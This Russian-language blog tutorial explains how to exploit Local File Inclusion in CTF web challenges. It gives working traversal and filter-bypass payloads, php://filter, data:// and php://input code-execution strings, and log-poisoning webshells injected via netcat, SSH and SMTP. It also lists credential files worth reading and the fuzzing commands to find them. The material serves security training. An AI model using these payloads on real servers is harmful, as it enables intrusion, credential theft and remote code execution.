Главная / Блог / LFI уязвимость: от /etc/passwd до RCE в CTF

14 мин.00

LFI уязвимость: от /etc/passwd до RCE в CTF

LFI уязвимость: от /etc/passwd до RCE в CTF

Одна строка php://filter/convert.base64-encode/resource=config.php решила web-таск, над которым команда билась три часа. В base64-выводе лежали креды от базы данных, а из базы — флаг. Так бывает: три часа фаззишь формы, ищешь SQLi, а решение — в одном GET-параметре.

LFI уязвимость — одна из первых техник, которую CTF-игроки осваивают в категории web. По данным OWASP, инъекции (A03:2021, Injection) входят в тройку критичных рисков веб-приложений, и Local File Inclusion — один из самых частых подвидов. Между «прочитать /etc/passwd» и «получить шелл на сервере» лежит несколько слоёв: байпасы фильтров, PHP-врапперы и техники вроде log poisoning атаки, которые русскоязычные материалы обычно обходят стороной. Разбираю всю цепочку — от первого запроса до полноценного RCE, с конкретными пейлоадами и командами.

Механика LFI уязвимости и её место в цепочке атаки

Local File Inclusion возникает, когда веб-приложение подключает файл по пути, который контролирует пользователь. Уязвимый паттерн на PHP — вызов include($_GET['page']) без валидации, без белого списка, без какого-либо санитайзинга. Атакующий подставляет в параметр произвольный путь, сервер послушно читает или исполняет указанный файл. Хотя уязвимость чаще ассоциируется с PHP, аналогичные дыры возникают в Python (send_file), Node.js (fs.readFile), Java — везде, где пользовательский ввод попадает в функции работы с файлами. По данным Invicti, ввод может поступать не только через очевидные GET-параметры — cookies, HTTP-заголовки, значение User-Agent тоже могут быть источником пути. Подробнее — в нашем статье о создание ctf заданий.

В терминах MITRE ATT&CK цепочка эксплуатации LFI разворачивается через несколько тактик. Начальная точка — Exploit Public-Facing Application (T1190, Initial Access): эксплуатация уязвимого веб-параметра. Следом — File and Directory Discovery (T1083, Discovery): систематическое чтение файловой системы через подбор путей. Затем Credentials In Files (T1552.001, Credential Access): извлечение паролей и токенов из конфигов. Финальная цель — Web Shell (T1505.003, Persistence), если удаётся эскалировать LFI до выполнения кода.

Отличие Local File Inclusion от Remote File Inclusion (RFI) — принципиальное. RFI подключает файл с внешнего сервера и сразу даёт выполнение произвольного кода. Но RFI требует включённых директив allow_url_include и allow_url_fopen в php.ini — конфигурация, которая в современных инсталляциях PHP практически не встречается (и слава богу). LFI ограничена локальными файлами, зато работает при дефолтных настройках и попадается значительно чаще.

Бизнес-логика атаки прямолинейна: прочитать .env или конфиг с кредами от базы, вытянуть API-ключи, найти SSH-ключи в домашних директориях пользователей. При удачном раскладе — получить RCE через log poisoning и закрепиться на сервере. По Verizon DBIR 2025, 26% подтверждённых нарушений связаны с веб-атаками, и path traversal в связке с file inclusion — один из стабильных начальных векторов.

В CTF-тасках LFI обычно проявляется через GET-параметры с характерными именами: page, file, include, template, lang, module, content, view. Видите URL вида index.php?page=home — это первый кандидат для тестирования. Менее очевидные места: POST-параметры форм, значения в cookies, параметры Ajax-запросов, которые подгружают шаблоны или языковые файлы. На CTF часто помогает просмотр всех запросов через Burp Suite Proxy и поиск параметров, значение которых напоминает имя файла.

Path traversal: обход директорий до чтения файлов

Базовые payload-ы при path traversal уязвимости

Path traversal (directory traversal, обход директорий) — механика, через которую эксплуатируется LFI уязвимость. Последовательность ../ означает «подняться на одну директорию вверх». Если приложение хранит шаблоны в /var/www/html/templates/ и подключает файл через include('/var/www/html/templates/' . $_GET['page']), запрос ?page=../../../../etc/passwd формирует путь /var/www/html/templates/../../../../etc/passwd, который файловая система разрешает в /etc/passwd.

Файл /etc/passwd — стандартная мишень для подтверждения LFI уязвимости. Он world-readable на любой Linux-системе и имеет узнаваемый формат root:x:0:0:root:/root:/bin/bash. Увидели такой вывод — LFI подтверждена, можно копать дальше. В терминах MITRE ATT&CK вы выполнили технику чтения /etc/passwd и /etc/shadow (T1003.008, Credential Access).

Первые пейлоады для web CTF заданий:

  • ?page=../../../etc/passwd — базовый traversal, количество ../ подбирается перебором
  • ?page=/etc/passwd — абсолютный путь, обходит фильтры, которые режут .., но принимают абсолютные пути
  • ?page=../../../../../../../../etc/passwd — избыточные ../ безопасны, файловая система свернёт лишние на корневом каталоге
  • ?page=/var/www/images/../../../etc/passwd — обход валидаторов, которые проверяют начало пути на соответствие разрешённой директории, но не канонизируют его перед проверкой

На Windows-таргетах аналогичный тест: ?page=..\..\..\windows\win.ini с обратными слешами. Файл win.ini предсказуемо существует и заодно подтверждает операционную систему.

Нюанс: количество ../ определяется глубиной вложенности текущей директории относительно корня. Не знаете точную глубину — ставьте с запасом. Файловая система проигнорирует лишние уровни обхода после достижения корня /. Тут лучше перестараться, чем недостараться.

Обход фильтров: кодирование, null byte и другие трюки

Когда базовый ../ блокируется — разработчик навесил фильтр. В CTF это обычная история начиная со среднего уровня сложности. Ниже — техники обхода с условиями применимости:

Техника Payload Когда работает
URL-кодирование слешей ..%2f..%2f..%2fetc%2fpasswd Фильтр ищет литеральный ../, не декодируя URL перед проверкой
Полное URL-кодирование %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd Кодируются точки и слеши; фильтр проверяет только декодированную ASCII-форму
Двойное URL-кодирование %252e%252e%252f%252e%252e%252fetc%252fpasswd Сервер декодирует один раз при валидации, downstream-компонент — второй раз перед файловым API
Null byte (PHP < 5.3.4) ../../../etc/passwd%00 Код добавляет .php; null byte обрезает строку в C-функциях
Overlong UTF-8 ..%c0%af..%c0%afetc%c0%afpasswd %c0%af — overlong-кодировка /; обходит старые IIS и нестрогие валидаторы
Fullwidth Unicode ..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd U+FF0F нормализуется в / при NFKC
Однократная очистка ....//....//etc/passwd Фильтр удаляет ../ один раз — остаётся рабочий ../
Знак вопроса ../../../etc/passwd? Суффикс после ? трактуется как query string, не как часть файлового пути
Trailing dot ../../../etc/passwd/. /. сохраняет «файловый» вид для валидатора, ядро ОС сворачивает при open()

Null byte injection стоит разобрать подробнее. Если PHP-код делает include($_GET['page'] . '.php'), запрос к /etc/passwd превращается в попытку прочитать /etc/passwd.php — файла не существует. Но на PHP ниже 5.3.4 символ %00 (null byte) обрезает строку для нижележащих C-функций, и суффикс .php отбрасывается. В современном PHP трюк не работает, но в CTF-тасках на устаревших версиях встречается регулярно. Версию PHP можно определить по заголовку X-Powered-By или через phpinfo(), если она доступна.

Обход через ....// — мой любимый трюк против однократной очистки. Если sanitizer делает str_replace('../', '', $input), строка ....// после удаления ../ превращается в ../ — ровно то, что нужно. Красиво, правда? Реализации, выполняющие очистку в цикле до полного удаления всех ../, этому байпасу не поддаются — тогда переходите к кодированию.

Двойное URL-кодирование работает в архитектурах, где reverse proxy декодирует URL перед передачей бэкенду: первый декод (на прокси) превращает %252e в %2e, валидация на бэкенде видит закодированную строку и пропускает, а второй декод при вызове файлового API превращает %2e в . — и traversal срабатывает.

PHP wrapper exploitation в web CTF заданиях

php://filter для чтения исходного кода

PHP-врапперы превращают LFI из «прочитал /etc/passwd» в «прочитал весь исходный код приложения с хардкоженными секретами». Проблема с обычным включением: если подключить .php-файл через include(), сервер его исполняет. Вы видите результат работы скрипта, а не его код. А код-то нам и нужен.

Решение — php filter wrapper с конвертацией в base64. Запрос ?page=php://filter/convert.base64-encode/resource=config заставляет PHP пропустить содержимое файла через фильтр base64-encode ДО исполнения. В ответе приходит base64-строка, декодируете echo '<строка>' | base64 -d и получаете полный исходный код PHP-файла.

Если приложение автоматически добавляет расширение .php (код вида include($page . '.php')), в параметре достаточно указать имя без расширения — сервер сам подставит .php и прочитает нужный файл. Это делает php://filter особенно удобным на CTF, где конструкция с автоматическим расширением встречается постоянно.

Почему php filter wrapper критичен: конфиги содержат пароли от баз данных, API-ключи, скрытые эндпоинты. По MITRE ATT&CK считывание и декодирование файлов через фильтр соответствует технике Deobfuscate/Decode Files or Information (T1140).

Помимо base64, php://filter поддерживает другие конвертации: convert.iconv, string.rot13, zlib.deflate. В 2022 году исследователи из Synacktiv опубликовали технику PHP filter chains — через цепочку фильтров convert.iconv можно генерировать произвольные байты и добиться RCE без записи на диск. Техника сложная, но в CTF-тасках категории hard — реальный вектор. Если видите задание, где все врапперы закрыты, а php://filter работает — копайте в эту сторону.

data:// и php://input — выполнение кода без файлов на диске

Если на сервере включена директива allow_url_include (в php.ini), два враппера превращают LFI сразу в RCE без промежуточных шагов:

Data wrapper PHP передаёт код прямо в URL: запрос ?page=data://text/plain,<?php system('id'); ?> заставляет PHP интерпретировать переданные данные как файл и выполнить код. Для обхода фильтров пейлоад кодируется в base64: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==.

Враппер php://input читает тело POST-запроса как подключаемый файл. Отправляете POST с телом <?php system($_GET['cmd']); ?> на URL с параметром ?page=php://input&cmd=id — PHP выполняет код из тела запроса. Удобно для больших пейлоадов, которые не помещаются в URL.

Есть ещё expect:// — он напрямую исполняет системные команды (?page=expect://id), но требует установленного расширения php-expect. Конфигурация настолько редкая, что появляется только в тасках, где авторы намеренно подготовили этот вектор.

На CTF data:// и php://input — быстрый путь к RCE при включённом allow_url_include. На реальных серверах эта директива почти всегда выключена, поэтому для эскалации LFI уязвимости до RCE используется более надёжная техника — log poisoning.

Log poisoning атака: от LFI уязвимости к RCE

Log poisoning — ключевой практический способ сделать LFI to RCE, когда PHP-врапперы заблокированы дефолтной конфигурацией. Идея простая: веб-сервер записывает пользовательские данные в лог-файлы — URL запроса, заголовок User-Agent, имя пользователя при авторизации. Если удаётся внедрить PHP-код в лог, а потом подключить этот лог через LFI — сервер исполнит инъектированный код.

В терминах MITRE ATT&CK успешный log poisoning приводит к установке Web Shell (T1505.003, Persistence) и выполнению произвольных команд через Unix Shell (T1059.004, Execution). Это полноценный переход от чтения файлов к контролю над сервером.

Пойзонинг Apache access.log через netcat

Apache записывает каждый HTTP-запрос в access.log, включая запрошенный URL и заголовок User-Agent. Критический момент: при отправке запроса через netcat данные не проходят URL-кодирование, поэтому PHP-код попадает в лог в чистом виде и будет интерпретирован при подключении через include().

nc TARGET_IP 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: TARGET_IP
Connection: close

Четыре строки — и PHP-вебшелл записан в access.log. Следующий шаг — подключение лога через LFI: ?page=../../../var/log/apache2/access.log&cmd=id. Сервер выполняет include() над лог-файлом, PHP-интерпретатор находит тег <?php ?> и исполняет passthru('id'). В ответе — вывод команды. Полноценный RCE через четыре строки в терминале. Красота.

Альтернативный способ внедрения — через заголовок Referer. Отправляете GET-запрос с заголовком Referer: <?php passthru($_GET['cmd']); ?>, Apache записывает Referer в лог, дальше — тот же include через LFI.

Пути к лог-файлам зависят от дистрибутива и веб-сервера:

Система / сервер Access log Error log
Debian / Ubuntu (Apache) /var/log/apache2/access.log /var/log/apache2/error.log
RHEL / CentOS (Apache) /var/log/httpd/access_log /var/log/httpd/error_log
FreeBSD (Apache) /var/log/httpd-access.log /var/log/httpd-error.log
Nginx (Linux) /var/log/nginx/access.log /var/log/nginx/error.log
Windows XAMPP C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log
Windows Nginx C:\nginx\log\access.log C:\nginx\log\error.log

На CTF обычно хватает перебрать 4-5 стандартных путей. Если ни один не подходит — фаззинг через wordlist с путями логов (есть в SecLists) покажет нужный файл.

SSH log poisoning и другие векторы

Log poisoning атака не ограничивается Apache. Если на таргете открыт SSH, можно отравить /var/log/auth.log. При попытке SSH-подключения имя пользователя записывается в лог. Команда ssh '<?php system($_GET["cmd"]); ?>'@TARGET_IP провалится (пользователя не существует), но PHP-код уже записан в auth.log. Подключаете через LFI: ?page=../../../var/log/auth.log&cmd=id — и получаете выполнение команд. SSH log poisoning — вектор, который на CTF часто забывают проверить. А зря.

Другие лог-файлы, пригодные для пойзонинга:

  • /var/log/vsftpd.log — при доступном FTP. Подключаетесь и вводите PHP-код как имя пользователя
  • /var/log/mail.log — при работающем SMTP. Через telnet отправляете RCPT TO:<?php system($_GET['cmd']); ?>, код попадает в mail.log
  • /proc/self/environ — содержит переменные окружения текущего процесса, включая HTTP_USER_AGENT. Отправляете запрос с PHP-кодом в User-Agent и подключаете /proc/self/environ через LFI — код может быть выполнен

Общее правило: любой файл, куда сервер записывает пользовательский ввод без экранирования, — потенциальный вектор для log poisoning. PHP-сессии в /tmp/sess_<SESSIONID>, загруженные временные файлы — тоже точки входа.

Типичная ошибка при log poisoning, которая стоит флага (и я сам так попадался): отправка нескольких тестовых запросов с синтаксически некорректным PHP-кодом. Один сломанный тег <?php без закрытия заставляет интерпретатор выдать ошибку при include всего лог-файла. Все дальнейшие попытки с корректным кодом тоже не сработают — лог уже испорчен. Действуйте аккуратно: один запрос, один корректный пейлоад, проверенный перед отправкой. На общем сервере вы этим ломаете вектор не только себе, но и остальным участникам.

Чеклист файлов для local file inclusion

После подтверждения path traversal уязвимости возникает практический вопрос: что именно читать? Ниже — файлы, которые дают больше всего полезной информации.

Linux — системные и сетевые файлы:

Путь Что даёт
/etc/passwd Список пользователей, домашние директории, шеллы
/etc/shadow Хеши паролей (обычно нужен root, но бывают мисконфиги — и тогда праздник)
/etc/hosts Внутренние хостнеймы, указания на скрытые сервисы
/etc/resolv.conf DNS-серверы внутренней сети
/proc/version Точная версия ядра Linux
/proc/self/environ Переменные окружения — могут содержать секреты и токены
/proc/sched_debug Список запущенных процессов на сервере
/proc/net/tcp Активные TCP-соединения, раскрывают внутренние сервисы
/proc/net/arp ARP-таблица — соседние хосты в локальной сети
/proc/net/route Таблица маршрутизации

Linux — пользовательские файлы и ключи:

Путь Что даёт
/root/.ssh/id_rsa Приватный SSH-ключ root — мгновенный доступ к серверу
/root/.ssh/authorized_keys Публичные ключи авторизованных SSH-пользователей
/home/<user>/.bash_history История команд, может содержать пароли в открытом виде
/home/<user>/.my.cnf Конфигурация MySQL с паролем
/root/.bash_history История команд root

Linux — веб-сервер и приложение:

Путь Что даёт
/etc/apache2/apache2.conf Конфигурация Apache, document root, пути к логам
/var/www/html/.htaccess Правила rewrite, ограничения доступа
/var/www/html/config.php Типичный конфиг с кредами от БД
/var/www/html/.env Environment-файл с токенами и API-ключами

Windows:

Путь Что даёт
c:\windows\win.ini Подтверждение Windows-таргета
c:\boot.ini Конфигурация загрузки
c:\windows\system32\drivers\etc\hosts Файл hosts
c:\windows\Repair\SAM Хеши паролей (нужен также файл SYSTEM)
c:\xampp\apache\conf\httpd.conf Конфигурация Apache на XAMPP
c:\php\php.ini Конфигурация PHP, включая путь к сессиям
c:\windows\panther\unattend.xml Может содержать пароли от автоустановки

На CTF в первую очередь читайте /etc/passwd (подтверждение LFI и список пользователей), затем конфиги веб-приложения (креды от БД), SSH-ключи (прямой доступ) и /proc/self/environ (переменные окружения с токенами). Именно в таком порядке — от подтверждения уязвимости к максимальному импакту.

Инструменты для эксплуатации path traversal и LFI

Ручной перебор пейлоадов работает, но на CTF время ограничено. Автоматизация экономит минуты, которые решают исход.

ffuf — быстрый веб-фаззер на Go. Для перебора LFI-пейлоадов: ffuf -u 'http://target/index.php?page=FUZZ' -w lfi-wordlist.txt -fs 0. Флаг -fs 0 отсеивает пустые ответы. Словари с traversal-последовательностями и путями к чувствительным файлам лежат в SecLists (каталог Fuzzing/LFI). Аналогичный результат даёт wfuzz: wfuzz -c -w lfi-wordlist.txt --hh 0 http://target/index.php?page=FUZZ.

Burp Suite Intruder — для ситуаций, когда нужно руками анализировать ответы. Загружаете список пейлоадов, отмечаете позицию на значении параметра, запускаете атаку. Фильтрация по длине ответа и ключевым словам (например, root:x:0) быстро показывает сработавшие пейлоады. Для одиночных запросов удобнее Burp Repeater — модифицируете запрос и мгновенно видите ответ.

dotdotpwn — заточен под тестирование directory traversal. Автоматически генерирует пейлоады с различными кодировками и глубиной обхода, поддерживает HTTP, FTP и TFTP. Полезен, когда нужно перебрать десятки вариантов кодирования и не тратить время на ручное составление каждого пейлоада.

kadimus — автоматизированная эксплуатация LFI. Умеет идентифицировать уязвимый параметр, извлекать файлы через php://filter, пытаться выполнить код через log poisoning. Экономит время на тасках, где нужно быстро проверить наличие LFI и двигаться дальше.

Практический совет из опыта: начинайте всегда с ручного тестирования через curl или Burp Repeater. Вы поймёте поведение приложения — что отвечает при ошибке, как выглядит блокировка WAF, какой формат ожидает параметр. Автоматику подключайте для перебора путей и кодировок, когда базовый вектор уже подтверждён и понятна логика фильтрации. Запускать ffuf вслепую — верный способ нашуметь и ничего не найти.

LFI считается «базовой» уязвимостью, и это её главная маскировка. На CTF начального уровня хватает одного ../../../etc/passwd, чтобы забрать очки. Но полная цепочка LFI → чтение конфигов → log poisoning → RCE → закрепление — полноценный kill chain, который работает и на соревнованиях, и в реальных проектах. Разработчики закрывают очевидные include($_GET['page']), но забывают про косвенные вызовы: file_get_contents, fopen, шаблонизаторы, которые резолвят пути через пользовательский ввод. Белый список допустимых значений решает проблему на 100%, но до сих пор встречается подход «вырежем ../ из строки» — он обходится двойным URL-кодированием за десять секунд.

Ещё одна вещь, о которой мало говорят: log poisoning ломает лог-файл при ошибке навсегда. Один кривой PHP-тег без закрытия — и все последующие include лога дают ошибку парсинга. На CTF это критично: вы не только теряете свой вектор, но потенциально ломаете его для остальных участников, если сервер общий. Практикуйтесь на изолированных стендах, проверяйте пейлоад перед отправкой. На WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

TryHackMe или HackTheBox для начинающих без боли

10 мин.

2

TryHackMe или HackTheBox для начинающих без боли

11 часов на первую Easy-машину HTB — реальный опыт. Сравнение TryHackMe и HackTheBox: цены 2025, learning paths, пошаговый workflow и защита от выгорания.

28 ОКТЯБРЬ, 2026

Buffer Overflow с нуля: решаем первый pwn-таск

9 мин.

4

Buffer Overflow с нуля: решаем первый pwn-таск

Разбор эксплуатации buffer overflow от checksec до рабочего скрипта на pwntools: offset через cyclic, GDB, stack alignment и обход защит в CTF pwn-задаче.

28 ОКТЯБРЬ, 2026

Command Injection в CTF: находим и эксплуатируем

12 мин.

5

Command Injection в CTF: находим и эксплуатируем

Как находить command injection в CTF: таблица операторов, blind-техники, обход фильтров, чит-шит payload. Разбор реальных CVE с CVSS 8.8 и пошаговый workflow.

27 ОКТЯБРЬ, 2026